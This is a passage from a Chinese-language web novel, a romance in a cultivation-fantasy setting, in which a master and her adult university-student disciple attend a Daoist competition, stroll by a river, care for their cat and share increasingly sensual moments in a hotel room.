穆若水步步紧逼,傅清微丢盔弃甲,自暴自弃地试探道:“若……若水?” 穆若水额头阴云密布,下一秒就要当场清理门户。 傅清微急忙改口:“水利万物而不争,故天下莫能与之争。《道德经》老子说的。” 她到底想做什么嘛,好端端的就生气了。 难道因为生人太多了她情绪不稳定? 穆若水也理不清自己生气的缘由,可能她就是这样喜怒无常,无法揣测的性子。生来随心所欲,何必要通人性。 比试还没完,穆若水提前离场了。 考官:“???” 规则没有说考生不能中途退场,尤其是她自己的那场已经比完了。 她也不敢拦,待会拿飞剑削她,她未必打得过。 傅清微向考官请示了一下,得到批准才追出去。 清净派的龙道友见二人都走了,脚步向外移,下意识跟了两步,旁边一位道友及时拉住她的袖子,奇怪地说:“你去哪儿?马上轮到你了。” 龙璇玑捏着手里的烫伤药小瓷瓶不知所措。 * 灵管局的大楼到处都有阵法,傅清微不怕穆若水困在阵法里有危险,她怕对方顺手把灵管局给掀了。 好在她没走远,就在门口等她。 两人沉默地回了酒店,默契地前后脚进了同一间房,小三花被禁锢了大半天,当场开始满屋子上蹿下跳地跑酷,边跑边兴奋地咪咪叫。 人和猫的悲欢各不相通。 但猫的热闹能缓解人类之间的气氛。 穆若水站在原地,忽然说:“我是不是很莫名其妙?” 傅清微脱口道:“没有啊。” 穆若水始料未及伸手掐住她的脖子,将她抵在墙上,阴森说:“这样呢?” 傅清微不在意她毫无力道的手掌,看着她的眼睛问:“师尊是不是有什么事不高兴?” 穆若水冷眼看她,答非所问:“我想杀人,每时每刻都想。” 傅清微:“但你没有杀过人,论迹不论心。” 穆若水:“让我咬一口。” 傅清微熟练地宽衣解带。 穆若水声音都低了:“……我只是想咬脖子。” 傅清微啊了声,苍白面颊终于浮现淡淡的嫣红。 她重新把衣服拉好,领口往下,露出自己修长干净的脖子。 好久没被咬了,她还有点暗暗期待穆若水给予的痛感。 冰凉的唇压在了她的颈项,傅清微鼻腔里嗯出长长舒适的一声。 穆若水:“……” 她停下还没开始的动作,问:“你叫什么?” 傅清微尴尬道:“习惯了。”穆若水一碰她她就想叫,大脑自动补全后续,爽到头皮发麻。 “我怎么收了你这样的徒儿?”穆若水嘟嘟囔囔,唇瓣重新贴了上来。 傅清微背抵住墙,双手手掌紧贴墙面,闭上眼仰起脖颈,预料之内的痛感迟迟没有到来,取而代之的是温吞游弋的亲吻。 谁家好师尊会这样待徒儿? 因为傅清微也喜欢,所以一直没有出声阻止。 她心口起伏,望着头顶的天花板。 她们就维持这样不清不楚的师徒关系也很好。 傅清微闭着眼,双手主动抬起来,扶上了女人的后腰,手指一点一点攀上她的背脊。 近来两人清醒时候的亲密不多,一个心照不宣地装傻,一个借着混乱放纵,穆若水在傅清微的锁骨上留下一个牙印,傅清微后背紧紧抵住冰冷的墙壁,指节曲起,咬唇忍着没有出声。 穆若水舔了舔新鲜的齿痕,从她身前抬起头来,把脸枕在她的肩窝。 “我并不是一位好师尊。” “对我而言是最好的。” “我只有情绪,没有感情。” “恰好我有很丰富的感情,可以分你一半。” “你什么都不懂,或许我该回到棺材里。” “就算我现在什么都不懂,我也不想你回暗无天日的棺材里。” 傅清微把人哄睡了,坐在书桌前的椅子里想事情。 在山上的那段时间,只有她们两个人,是穆若水情绪最稳定的时候,每天做饭撸猫,看她练剑,任劳任怨地给她的阵法当工具人练手,每天一个亲亲都心满意足。 下山越久,她就越孤僻冷漠,偶尔对着她才有好脸,喜怒无常的次数也变多了,像今天这样类似患得患失的情绪更是见所未见。 如果能一直待在山上就好了。 世事难两全。 可只有自己坚持的事才是正确的吗? 她也不是一位好徒儿。 小猫往往能感知到主人的情绪,穆若水睡下以后,它就一直窝在她身边,安静地陪伴她。 连猫都知道陪伴的重要性,自己又真的关注到她的需求了吗? 傅清微知道答案的唯一解,但她现在不能往上填。 她不能抛下未竟的一切,就此归隐山林。 于是转念去想:今天她为什么生气? 好像是自己叫她名字开始的,还是她不满意自己没说出她想要的答案:含她手指? 可能没有理由,就是情绪突然上来就生她气了。 她忍受够了无聊的人类,陪人过家家,在今天爆发了。 傅清微想得脑子痛,也想睡觉了。 她把小三花端开,霸占了猫的位置,钻进被窝里,枕头一蒙,遇到困难睡大觉。 醒来时穆若水正蹲在地上看猫吃饭,情绪正常。 傅清微一看时间,才下午三点,小群里肖灵秀及时通报了每场比试的结果,傅清微一目十行地看完,坐了起来,伸手去床头开灯。 房间里的灯都打开了,依旧昏昏的。 现在的酒店不知道什么毛病,灯越来越暗,明明十几个灯还不如家里一盏顶灯,生怕客人在屋子里看清什么似的。 怪不得穆若水不喜欢待在山下,哪有山上有天有地的好。 傅清微把窗帘全都拉开了,自然光涌进室内,勉强像个人住的屋子,而不是棺材。 蹲着的穆若水仰了仰脸,下午不刺眼的阳光照在她的脸上,细腻似玉。 小三花就地一躺,开始舔毛。 傅清微坐在床沿,全神贯注地看着她的脸,一个一个地排查她今天生气的原因:“师尊,你还要我的手指吗?” 穆若水闭着眼,口吻不紧不慢:“你何德何能?” 翻译过来:你配吗? 傅清微自然是不配的,师尊怜她被烫伤,才这样那样,可能是她思维使然,做事直接,她不能把自己当盘菜。 傅清微:“那你其他的比赛不比了好不好?反正你是顾问,不用陪我做这么多的。” 穆若水淡道:“放任你在外面败坏蓬莱门风吗?” 要不是她前两天力挽狂澜,蓬莱印象已定,傅清微今天救都救不回来。 这个也不是。 傅清微想了想:“那比完试我们马上回山吧,应该有几天时间休假的。” 穆若水终于睁开了眼睛,说:“算你孝顺。” 她摸了一把猫,人从地上站了起来,又来揉了一把傅清微的脑袋。 傅清微满意地笑了两声,又和她撒娇商量:“能不能不用孝顺这个词啊?”每次听到都在提醒她俩差辈似的,怪不自在的。 穆若水走到屋里,嫌太暗又回到窗前,说:“你想换什么词?” “聪慧乖巧体贴细致,或者直接说喜欢,都行。” “看我心情。” “晚上吃什么?” “看你喜欢。” “我们去个没人的地方散步吧。” “饭不吃了?” “看情况!”傅清微迫不及待地拉起她,说走就走,虽然还不知道去哪儿,但是营造出了一种私奔的气势。 “口罩!”穆若水提醒她,人已经快被拉着跑到门口。 傅清微风风火火地回来拿起书桌上的口罩给她戴好,打开门牵着她在走廊里奔跑。 穆若水和一道小号道袍的身影擦肩而过,对方手里握着一个白瓷瓶子,见她们俩携手跑过去十分诧异,转而变成失落。 穆若水站在电梯里,意味不明地提醒傅清微:“清净派的那个好像来找你。” 傅清微:“找我做什么?” 穆若水看着下行的数字,说:“你不如回去问问她?” 傅清微:“问她做什么?有急事她自然会想办法联系我,我都不认识她,肯定没事。” 穆若水:“她每天都在暗中观察你。” 傅清微笑眼望她,反问:“你怎么知道?” 穆若水绝不会承认原因,反而倒打一耙,不轻不重地横了她一眼。 傅清微不得不把话咽回去,化主动为被动,甜言蜜语:“我每天的心思都在你身上,没有注意别人。” 穆若水这才满意地结束了话题。 修道之人耳聪目明,傅清微不可能完全没注意龙璇玑若有若无的视线,但是既然对方一直在暗处,没主动找上她,她也没必要去问清楚。就算龙璇玑是来找她的,也要等她有空才行。 她本来就不是太擅长社交,心更不大,万一真惹上什么烂桃花,师尊非得活剐了她不可。 angry sex绝对只有angry,没有sex。 再说她也不想有桃花,有穆若水一个人足矣。 两人打车去了江边。 工作日的下午人不多,两人沿江散步走了一段距离后,更是前后隔很远才能看到人。 穆若水摘下口罩,江风迎面吹拂她的脸颊。 她面朝江水,看着四点的太阳,离落日尚早,挂在西边晕出浅红的光晕。 傅清微扶着岸边栏杆上石雕的小狮子。 穆若水忽然转过脸,看着她的眼睛,说:“喜欢。” 傅清微的心跳骤然迟了一拍:“什么?” 穆若水:“不是你让我换个词?替代孝顺。” 傅清微“哦哦”两声,笑了起来。 万里长征第一步,是穆若水的一小步,也是她们之间的一大步。 穆若水吹了一会儿江风,又说了一遍喜欢。 两人并肩而立,傅清微的心思跟着她而动,问:“师尊喜欢我吗?” “大逆不道!” “???” 傅清微从她的表情里读出了误解,啼笑皆非地说:“不是说让你孝顺我的意思。喜欢在字典里的解释是对人或物有好感,一见到她就高兴。” “和心跳没关系吗?”没有心的人也可以喜欢? “不一定要心跳加速吧,有的喜欢也可以很平静,但不代表它没有力量。” “可为什么你的心跳总是很快?”穆若水真心实意地发问。 “……” 怎么又把话题扯到她身上了啊。 傅清微用上了从穆若水身上活学活用的一招,避而不答,坚持追问她:“如果喜欢是这种定义的话,那师尊喜欢我吗?” “喜欢风。” “?” “喜欢雨,喜欢花,喜欢树,喜欢山林,喜欢院子。”穆若水列了一长串,在傅清微茫然的目光里,终于说到了最后,“喜欢猫,喜欢你。” “排名分先后吗?” “从低到高。” 傅清微于是明白了她最喜欢她。 虽然排在她前面的是猫与自然,但是能亲口从观主不饶人的嘴里得出一句喜欢,已经是质的飞跃。 穆若水重新戴上了口罩。 如果傅清微现在伸手去摸她的脸,会发现一改往日的冰凉,是温热的。 没有心的石头也能被人的体温焐热,被截断百年的枯木再次长出了新的翠绿根芽。 “晚上想吃什么?”穆若水勾了勾耳边的墨发。 “随便吃点吧,都一样。”傅清微挽着她的胳膊,脸依偎在她肩膀,说,“想吃师尊炒的菜了。” “回去就给你做,你列好菜单,我们去买菜。” “好。” 日落的江边染上寒意,穆若水察觉她越靠越紧,整个人黏进她怀里,暗忖以她现在的体质不该如此畏寒才是。 “你很冷吗?” 傅清微尴尬了一瞬,直接道:“不冷,我就是喜欢香香软软的师尊抱我。”她馋人身子,她下贱她认了。 “注意你的用词。” “香和软,哪一个不对?” “……你总是有道理。”穆若水今天心情好,眉眼舒展,不和她在字眼上争执。 “因为我就是对的。” “再这么对为师说话我就把你丢江里。” “我错了。” “抱得差不多就去吃饭,晚点人该多了,晚上你还要看书早睡。” “知道啦~” 师尊还是那个不解风情的师尊。 回到酒店,小三花翘着毛茸茸的大尾巴前来迎接,一点都不在意妈妈们丢下它去约会的事。 傅清微蹲下来胡噜了一下它的脑袋瓜,它躺在地上翻肚皮。 山上的日子其实很枯燥,虽然两个人也很好,但她和穆若水生活规律,几乎一成不变,有一条小生命每天给她们制造变数,日子都妙趣横生。尤其是穆若水先前都敬而远之,现在居然把猫的地位排到仅次于自己,她也在变得柔软,对生灵和万物。 某种意义上来说,小三花是她们家的大功臣。 有时候她们俩闹别扭,小三花充当缓和剂,否则两个人僵着令人窒息。 想起她种种功劳,就忍不住想要奖赏她。 傅清微懊恼:“刚刚在外面忘记给她买个猫罐头了。” 穆若水说:“我买了。” “?”傅清微问,“什么时候?” “你吃面的时候,隔壁有个宠物用品商店,我随便溜达了一下。” “……”傅清微记得她出去了一趟,她以为嫌面馆气味难闻,出去透气呢。 傅清微:“有没有我的?” 穆若水:“猫罐头吗?人不能吃吧?” 傅清微:“……人吃的零食有没有?” 穆若水一本正经:“宠物店里没有卖人吃的。” 傅清微撸猫的动作停下来:“你就是没想到给我买零食,满脑子只有猫。” 小三花一个翻身站起来,抖了抖身上蓬松的毛,远离战火中央。 ——有时候也会成为闹别扭的导火索。 穆若水不理解她和猫置什么气,平时也不见她买零食,现在又要吃,无理取闹。 无理取闹的傅清微就是想趁乱撒个娇,穆若水不吃这套,她见好就收,乖乖接过猫罐头开了,给小三花供上去。 过了许久,穆若水还是纵容了她。 “下次想吃什么提前说。” 傅清微应了声好。 到了夜晚,傅清微洗完澡,伏在床头,问她:“我想吃师尊的手指,可以吗?” 第76章 听到敲门声, 傅清微去打开了门。 和她们同一楼层的肖灵秀站在门口,探头探脑地说:“没打扰到你们吧?” 傅清微回头,小猫正在吃罐头, 小猫道长蹲在她的身边, 都没有看过来。傅清微不想说话的声音打扰她们, 走了出来,随手带上了门, 问:“怎么了肖道友?” 肖灵秀这一看, 还猜不到自己坏人好事么,连忙道明来意:“没什么大事, 我也是受人之托。” 傅清微:“?” 肖灵秀把自己手里的白色小瓷瓶交给她, 说:“龙道友给你的,说是治烫伤很有效。先前她见你不在,托我转交。” 傅清微伸手接过:“谢谢。” 肖灵秀向她确认:“清净派那位龙璇玑道友, 你应该知道是谁吧?” 她天天和师尊在一旁卿卿我我, 旁人和她搭话才接两句话,恐怕人都没认全。 傅清微说知道。 全场就她一个未成年少女,穿着小一号的道袍。 肖灵秀举双手申明:“我没别的意思啊, 纯帮转交。” 傅清微笑了笑,表示自己不介意。 肖灵秀将她往走廊里拉远了几步,确保不会被里面听到,悄悄说:“我告诉你一件事, 我撞见过好几次龙道友在你房门前徘徊。前两天晚上我出来串门,又看见她站在门口似乎想敲你房门, 一看到我就走了。” 傅清微:“好。” 肖灵秀:“你别光好啊, 你长点儿心,别惹你师尊生气。” 傅清微心说她知道了确实得发火。 肖灵秀比她还操心:“要不你把药给我, 我帮你拒了?” 傅清微失笑:“拒什么?她什么都没和我说呢,好心送药,我拒绝岂不是此地无银三百两。”还会把关系闹僵,平白树敌。 “也是。”肖灵秀叹了口气,说,“那你自求多福吧。不过你也不用太担心,龙道友是全真教的,她们不能结婚的,得守色戒。” 傅清微记下:“谢谢肖道友提醒。” 傅清微拿着药回了房。 穆若水蹲在地上回头:“手上是什么?” 傅清微把白色小瓷瓶随手搁书桌上,说:“烫伤药,阁皂派的肖道友送的。” 穆若水走过来,拿起来端详片刻,说:“清净派的药吧。” “师尊怎么知道?”傅清微没惊讶,仿佛在她意料之中,只是笑问道。 “上次占英不是给过一瓶丹药,瓶身上的标记是一样的。”穆若水打开瓶口闻了闻,有一股草药特有的清香,触之清凉温润。 “药还可以。”她点评完,放了回去,继续陪吃完罐头的小三花玩。 傅清微等了半天,没等到她的下文。 “师尊,你怎么不说话了?” “我在等你。” “等什么?” 穆若水淡淡道:“等你向我忏悔。” 以为她会追问?哼,小看她。她堂堂真人,绝不做这种小肚鸡肠之事。 傅清微默了默,于是开始主动忏悔:“肖道友说是清净派的龙道友托她转交的,也说了些龙道友暗中观察我之事,此事你已知晓,我的态度更是鲜明,我对师尊绝无异心!” 穆若水却说:“别,我不知你是什么态度。” 傅清微并指向天道:“我对师尊一心一意,苍天可鉴,日月可表!” “苍天和日月可没空鉴你这些花言巧语。”穆若水嘴上这么说着,转过去逗猫的侧脸,唇角却扬了起来。 傅清微没把龙璇玑的事放心上。 落花有意,流水还能无情呢。而且她觉得未必就是她们说的那样,龙璇玑对她有爱慕之情,从小到大暗恋过她的人少说有一个排,暗恋的眼神她再清楚不过。龙璇玑应该不是喜欢她,但不知道出于什么原因想结交她,或者有事相求? 期期艾艾,估计是她社恐。 但这些不适合对穆若水直说,越少提别人越好,提一次就是在给她攒怒力值。 傅清微太知道怎么安抚穆若水了,和小猫一样要顺着她的毛摸,她才会偶尔露肚皮给你,甚至容许你以下犯上。 傅清微手上的灼伤已经好了,本来就没大碍,再晚点撒娇可能当场都找不到了。那瓶药被她收进了箱底——对蓬莱来说,任何一点家当都弥足珍贵,管它是谁给的呢。 无足轻重的小插曲过后,回到了二人规律的夜生活。 傅清微打坐练功,穆若水在旁边陪猫玩,小三花累得玩不动了,躺在地上摆烂,穆若水就去洗澡,然后坐在床头看书。 今天她出去散完步心情很好,没有早睡。 傅清微忙完一切,她居然还靠在床头开着阅读灯,精神百倍,没有半点困意。 十分难得。 傅清微走过来检查了阅读灯的明暗,顺着书页落到她手指新长出来的指甲上,说:“又有点长了,待会我帮师尊剪个指甲吧。” 穆若水正等她说这句话,微微颔首。 “可。” “我先去洗个澡,你别睡着了。” “睡着了会怎么样?” “那就只有明天再剪了。”傅清微故意道。 穆若水不动声色坐直了些,道:“那你赶快去洗澡吧。” 傅清微进了浴室,摇头失笑。 师尊对剪指甲的热爱也是她不能理解的,平时又用不上。 傅清微想到这里开始可怜自己,是谁天天帮喜欢的人剪指甲,只能干看着,吃不到啊? 往镜子里一看,小丑竟是我自己。 幸好甘棠不知道,否则甘棠能笑她一整年,她再嘲笑甘棠连指甲都没得剪,边缘性行为都没有边缘过。 傅清微扎起长发,随意夹了个鲨鱼夹,步入里间,开了头顶的淋浴器,热水从上淋到下,溅在冰凉的瓷砖。 淋浴的水声隔着薄薄的墙壁响起。 大床房的浴室隔音通常都不太好,毕竟有时候是情侣入住。所以傅清微一般选在穆若水洗澡的时候打坐,入定后就什么都听不到了,也什么都不会想。 至于穆若水听她洗澡会不会想什么……恰恰相反,想的越多越好。 冲进来把她按在浴室玻璃上,十指交缠,将玻璃上的雾气侵蚀出手掌的形状。 她的身后紧紧抵着她柔软的身体,女人另一只手在她禁忌的领域肆意探索…… 暧昧不清的高温升腾在小小的玻璃房内。 傅清微结束了今日份的幻想,平平无奇地从淋浴间出来,裹着浴巾吸干了身上的水迹,鲨鱼夹解下来,散开尾端湿润的浓密黑色长发,双手穿过颈后梳了梳,垂落在后背。 镜子里的女大学生脸颊白里透红,锁骨也透着淡淡的粉色。 傅清微仰起脸,沾了水的手弹了几滴水珠在自己颈项里,泛着珠光,慵懒清纯。 开春了,室温二十多度,那些臃肿的、版型不好的家居服和长袖睡衣裤都可以收起来了,换成显身材的白色小吊带,短裤,桃李年华的皮肤光滑白皙,无需任何妆点,就是一道丰盛可口的盛宴。 穆若水的目光从低挪到高,落到傅清微的脸上,说:“穿这么少,不冷吗?” “不冷啊,开了空调。” 穆若水眼睫微垂,扫了一眼她的胸口,定格半秒,自然地回到眼前的书本。 “收拾好了就过来帮我剪指甲。” “好。” 傅清微拿了指甲钳的工具包过来,抬起一条腿曲起,坐在床沿。 穆若水牵过被角,给她盖上了被子,掩住亮眼的雪白。 傅清微故作自然,打开工具包拿出指甲钳,把唯一还算亮的阅读灯调到自己眼前,捧着女人的手给她剪指甲。 穆若水半靠着,视线和傅清微的胸口持平,一睁眼就…… 让她闭眼是不可能的,有损她的面子。 又不是没看过,上一次看就在半个月前,不仅看,她还摸了亲了,又揉又吸,双管齐下。 不回忆还好,一回忆全是细节,还有傅清微情不自禁的声音。 穆若水只好认命地把目光移开,注意力集中到正在修剪的指甲上。 不知道是不是她的错觉,傅清微多了很多小动作,慢吞吞的,捧着她的手每一根手指都细细地瞧过,在指背来回轻抚。 一边剪,一边……摸? 穆若水清了清嗓子:“你在做什么?” 傅清微早就准备好了借口:“师尊的手真好看,细长,皮肤也好,徒儿很是喜欢。” 穆若水有时不太经夸,总之在她心情好的时候夸她事半功倍。 穆若水果然不计较她的僭越,受用道:“你的也不错。” “比师尊差远了。” “倒也不是。”穆若水实事求是说,“你的手虽有些清瘦,但修长,样子很好看。” 傅清微默默地红着耳朵。 “谢师尊夸奖。”她什么时候注意她的手了? “拿剑的时候也很好看。”穆若水还没说完。 “谢谢师尊。” “画符的时候也……” “可、可以了师尊。”傅清微整个人都变成红的了。 “很漂亮。”师尊不理会她的打断,一定要说完,“我喜欢。” 她学会了一个词,正在灵活掌握的进度中。 傅清微的脑子彻底宕机,到底是谁今晚有所预谋? “喜欢不可以这么随便用。” “为什么?”穆观主诚心诚意地发问。 “因为……”傅清微张了张嘴,不能说自己做贼心虚,妥协道,“可以用,师尊继续喜欢我的手,没关系。” “今日喜欢,明日又未必喜欢。”看她心情。 “师尊说什么就是什么。” 傅清微彻底放弃抵抗,也放弃耍嘴皮子互撩,低头兢兢业业给她将边缘用锉刀一点一点磨得齐整圆润。 “为师最喜欢你的细致。”穆若水在她怀里,手被对待得十分温柔。 “服侍好师尊,是徒儿应该做的。”深入服侍她也可以。 “你有这份心,为师很高兴。”穆若水空着的另一只手摸了摸她的长发,小吊带的后背裸露大片肌肤,她无意间触碰到,触电般收回手指。 因为此举有失她宗师的面子,她镇定过后,伸过去摸了她一把,如此才妥帖。 突然被摸的傅清微手一抖:“……” 幸好是锉刀不是指甲钳,否则就要刮伤她师尊细嫩的皮肤。 “好了师尊。”傅清微故作不觉,收好工具包后去卫生间洗手,又拿了包湿巾到床头。 她从另一边上床,将女人修剪过指甲的手指用湿巾里里外外地擦了一遍,完成最后一道程序。 穆若水满意地在光下来回欣赏自己的手,傅清微也在一边看着,直到她放下来,随意搭在被面上,修长白净、指节如玉的手被傅清微再次捧到自己的怀里。 夜深了,傅清微伏在床头,问她:“我想吃师尊的手指,可以吗?” 她刚洗过澡不久,散发着好闻的香气,墨色长发被撩到一侧,自后背垂落,完全露出漂亮干净的面孔,一双清凌凌的眼不是祈求,但胜似祈求地望着她。 穆若水体会不到心跳加速,但她周身的血液似乎因为这一眼和这句话骤然流快,仿佛心脏泵动那一下。 鬼使神差的,她问她:“你想怎么吃?” 傅清微低头亲吻她的手背。 穆若水轻轻地曲了曲指节,默认表示顺从。 傅清微自她柔滑细腻的手背,亲到掌纹清晰的手心,顺着掌心到手腕内侧啄吻,淡青色性感的筋脉,穆若水制止了她:“这不是手指的范围。” 傅清微回到女人的手背,浅浅地亲了几下后,开始舔吻她的指根。 傅清微不太明白自己为什么会做这种事,在她抬眼和女人似乎隐忍的眼神对上以后,她隐隐地知道了,她就是想让她露出这种表情,不要没有悲喜,不要像个端坐的神明。 傅清微舔得更卖力了,舌尖模仿白日穆若水所做的,来回钻入她每一个指缝。 她第一次以这种方式来取悦一个女人,严格来说她脑子里暂时没有取悦这个概念,只是遵循本能。 傅清微抬起手,将她湿漉漉的食中二指含进了口中。 穆若水脑子嗡的一声,没意识到自己轻轻地吸了一口气。 傅清微握着她的手腕,温热的口腔紧紧地裹住她的手指,第一次这么做不太熟练,她缓了缓,才慢慢地继续之前的动作,自发地加入了咬,牙尖浅浅地噬咬,不疼,只是痒和难耐。 穆若水的手指比较长,送进来后舔吻指根比较费力,傅清微含了一会儿,脸色便通红,有点呼吸不畅。 穆若水说:“你可以张嘴呼吸。” 傅清微摇了摇头,一鼓作气,再而衰,等喘好了气,她未必再有这个勇气了。 穆若水垂眼看她,已经轻轻地皱着眉,但并非不悦,而是忍耐与细微的痛苦愉悦。 穆若水想说可以了,但傅清微就在她面前,一边看着她的眼睛,一边对她做着这样的事。 她从对方开合的唇缝能看到湿红灵活的舌尖,时隐时现。 指节的感觉也时轻时重。 深深浅浅地被咬住。 穆若水睫羽闭合,阖眼忍耐了一会儿,忽然睁眼化被动为主动,命令傅清微张开嘴。 傅清微连忙咽了咽分泌过度的口水,方小小地启唇。 “张大一点。” 好像在山上画符的时候。 傅清微再次张开一点点,穆若水拇指抚过她的唇,二指抵着她的舌尖,在她嘴巴里缓慢地抽插了两下。 傅清微愣住了。 旋即她整张脸从头到尾地瞬间红透了,一句话也说不出来。 她紧紧地闭上嘴,不知道要不要再张开。 穆若水克制地收回手,声音有种难以察觉的紧绷,说:“可以了。” 傅清微的心脏在嗡鸣。 穆若水的血液在沸腾。 “我去洗手。” “我去洗澡!” 两人同时出声。 穆若水转而去抽湿巾纸,说:“你去洗吧。” 傅清微头也不回地冲进了洗手间,不是她不想趁热打铁,只是镜子里的她脸红成猴屁股,实在无以为继,再下去她要当场红爆炸。 师尊比她想象的还要那个,怪不得当初那么会吃。 不能再想了。 傅清微看着脖子上顶着的大番茄心说。 是天赋异禀还是…… 年龄和辈分带来的碾压? 黏腻的感觉不好受,傅清微再次步入了浴室。 回来没有见到穆若水的身影,手机上有她留下的微信。 穆慈:【我去外面走走】 傅清微:【要我去陪你吗?】 穆慈:【不用,我就在酒店楼下】 傅清微发现了一处新的异常,师尊都不发语音了,是怕声音暴露出什么吗? 穆慈:【[语音]马上就回去】 傅清微:“……” 师尊不愧是师尊,她的脸还红着呢,她居然已经好了。 穆若水回来后拐进卫生间洗了个手,才重新进入傅清微的眼帘。 傅清微刚刚从床边飞速奔回来,乖乖地躺在被子里,只露出上半张脸,眼珠灵动水润,见到师尊又不好意思地红了脸。 好在房间里的灯非常暗,掩盖了她通红的耳根。 然而对穆若水来说,一切都在她的眼底毫无保留地铺开,包括她一见她,脸和耳朵慢慢红起来的过程。 以为她胆子大得很,这会子又纯情起来了。 刚刚吃得满嘴都是,差点流出来的,也是她。 还好她害羞了,再这么主动来一回,穆若水也很难招架得住。 穆若水控制住了按揉眉心的冲动。 她掀开另一边的被角上床,平静地听不出情绪,说:“睡吧,时候不早了。” 傅清微纯情女大的那面依旧在线,顺水推舟地应了一声,悄悄拉高被角遮住了自己的脸。 月亮偷偷从云里藏起了半张面孔。 过了一会儿,云层散开,月亮的清辉再次涌入房间。 穆若水闭着眼,枕边的动静在她耳朵里很清晰,傅清微侧身贴了过来,抵着她,左手臂的触感分外柔软。 她的右手被从身侧牵了过去,慢慢抬起来,缓缓地落下。 掌心一片滑腻。 第77章 红梅在她掌心尽情绽放, 存在感强烈,挥之不去。 傅清微小心翼翼带着她的手调整到正合适的位置,便停下不动了。 倒没有再做出主动投喂的事。 一晚上就这样风平浪静地过去了……并没有。 穆若水握着她, 根本睡不着。 掌心微微地出了汗, 不知道是傅清微出的汗, 还是她自己的。 潮湿滑腻,掌心接触的地方变得滚烫。 高温从指尖蔓延。 傅清微被闷醒了, 胸腔里的心脏也跳得怦怦的, 近乎窒息感。 但她呼吸通畅,没有被禁锢, 只是感官快乐的错觉。 原先她只打算让师尊捧着她睡觉, 没想非得做点什么,最好第二天醒来还是这个姿势,她争取比她醒得早, 看看穆若水什么反应。 没想到刚睡着就迫不得已地醒了。 她感觉师尊的手比睡前动了一下, 五指软软地陷了进去,微微地压迫着她。 傅清微侧过头睁开眼,她没有那么好的视力, 对方睫羽阖着,她分不清她是醒了还是睡着。 不管她睡没睡着,傅清微第二天有比试,晚上不能再放纵, 她调整呼吸先睡了。 忍不住动了手的穆若水气息平稳到后半夜。 确定傅清微睡着以后,她揉了两下便彻底放开, 离开了床榻。 * 傅清微不出意外地计划失败, 她醒的时候穆若水已经起了。 小三花睡得昏死,今早都没有起来跑酷, 穆若水在边上用手指戳它,它也没有一点反应。 自己的小吊带在被子里滚得乱七八糟,看上去就是在一个人独享的大床上肆无忌惮翻滚好几圈了,白天的傅清微和晚上的傅清微几乎可以算作两个物种。 白天最多想想,晚上她可是知行合一的。 和穆若水道过早安后,傅清微进了卫生间洗漱。 刷完牙以后,傅清微对着镜子张开嘴看了好久,舌头粉嫩健康,想不通师尊压着她的舌头,怎么手指就那么轻飘飘地一来一回地做了两个动作,她就当场脸色爆红,窘迫得当场弃城而逃。 她好像联想到了这个动作意味着什么,虽然都是嘴,但是上面又不是下面,为什么反应会这么强烈?甚至影响到了下面。 是所有人都这样?还是单单就她这样? 是不是她太那个了。 懂得一些的女大有的也不太懂,毕竟都是理论知识。 她今天起得还算早,离出门还有十几分钟时间,病急乱投医地找上了唯一场外专家——甘棠。 傅清微鬼鬼祟祟地关上了卫生间的门。 傅清微:【女主A和女主B】 甘棠:【[放个耳朵.jpg]】 傅清微:【敏感程度和人的体质有关吗?有的人特别容易那个,是不是有问题啊?】 甘棠:【哪个?高潮吗?】 傅清微:【还没有到那一步!!!昨晚又边缘了一下,可能也不算边缘叭】 甘棠:【你展开说说呢?】 傅清微不敢展开,简明扼要:【女主B用手指插了女主A的嘴巴】 甘棠:【虽然说话糙理不糙,但你这话也太糙了吧[羡慕的泪水从嘴角流了出来.jpg]】 甘棠:【[擦口水]不是,女主A和女主B这和do了有什么区别?我请问呢】 傅清微:【区别就是没有真的do_(:з」∠)_】 傅清微:【所以说女主A因为这件事反应强烈,不是因为她淫荡,是正常的?】 甘棠:【细说有多强烈】 傅清微:【。】 甘棠:【哎呀,遇到喜欢的人是会这样的,你的身体会表达有多喜欢她,越喜欢越强烈。我上一个暗恋的直女要是这么对我,我秒喷,都不用下一步】 傅清微:【……你的话也不怎么斯文】 甘棠:【没有边缘过,只能自己diy的人是这样的[烟.jpg]】 傅清微跳过她diy的字眼,她连幻想都没有幻想到道长真的进去,别说diy了,对她而言太超出知识范畴了。 她与理论结合的所有实践都是穆若水带给她的。 只要确定自己不是不正常就行。 如果身体会表达,那她昨晚的动作是不是说明她对她也有生理上的冲动和喜欢,否则这么性暗示的动作她为什么要做。 心理上的喜欢傅清微暂时不敢去确定,她恐怕师尊自己也说不清。 至少穆若水见到她是欢喜的。 * 穆若水确实说不清。 她现在都不能解释昨晚为什么会心浮气躁地下床,整宿没睡觉地坐了一宿,顺手玩了半宿猫。 她自诩柳下惠不是没有理由的,不管傅清微是有意还是无意地勾引她,哪怕她全身一丝不挂地站在她面前,只要当下不是她需要亲密行动来安抚自己,她都可以面不改色地帮她穿好衣服。 但昨夜她只是含着她的手指又咬又舔,青涩卖力,时刻闭上嘴否则会兜不住,生疏又色情。 指根的温暖湿润冲昏了她的头脑,她竟然不受控制地想抽动手指,而她也确实这么做了。 回想到那时傅清微惊讶又窘迫的神情,可怜可爱,愈发让人想要蹂躏她。穆若水到现在仍有些血流加速,所以当时才会找借口去酒店外面散心。 她不走,傅清微那个澡洗得会不安全。 第二次回来后,傅清微以为她睡着了,故意拿过她的手放在她的胸口。 穆若水自我感知,她的自控力好像下降了,这么小把戏的勾引,她居然差点顺水推舟地上钩,又做出荒唐的事。 上一次还可以用太久没亲密,她的身体需要来解释,这次距离才半个月,她的状况很稳定,也不是想咬她,就是想亲一亲,含一含,到处巡游。 抱着她,让她不着寸缕地躺在自己怀里,在滑如凝脂的肌肤流连忘返,不辨晨昏。 想继续看到她害羞又可怜的神情。 昨夜她握着她的手腕,生涩地含着她的指根,呼吸不畅,眼尾沁红,楚楚动人。 卫生间忽然响起的冲水声唤醒了穆若水的神智,她伸手把小三花薅醒。 潦草小猫猛地被推醒,一见罪魁祸首便扑了上去,兔子蹬准备—— …… 傅清微关闭和甘棠的对话框,走到马桶前按下边缘的冲水键,拿着手机从卫生间若无其事地出来。 穆若水像个没事人似的,在外面溺爱小猫,任由它抱着自己的手又蹬又踹,陪它玩耍。 “今天的比赛,我比完自己的那场就会走了,不想和外人待太久。”听见她出来的脚步声,穆若水回头对她说道。 “好,要我陪你吗?” “不用,你的比赛比较重要,多看看知己知彼。” “行。” 收拾好出门,傅清微看她重新抱起猫,说了一句:“要不别让它玩你的手了吧?” “……” “我是说,没轻没重的,万一把你咬伤了。” “我有分寸。”穆若水说。 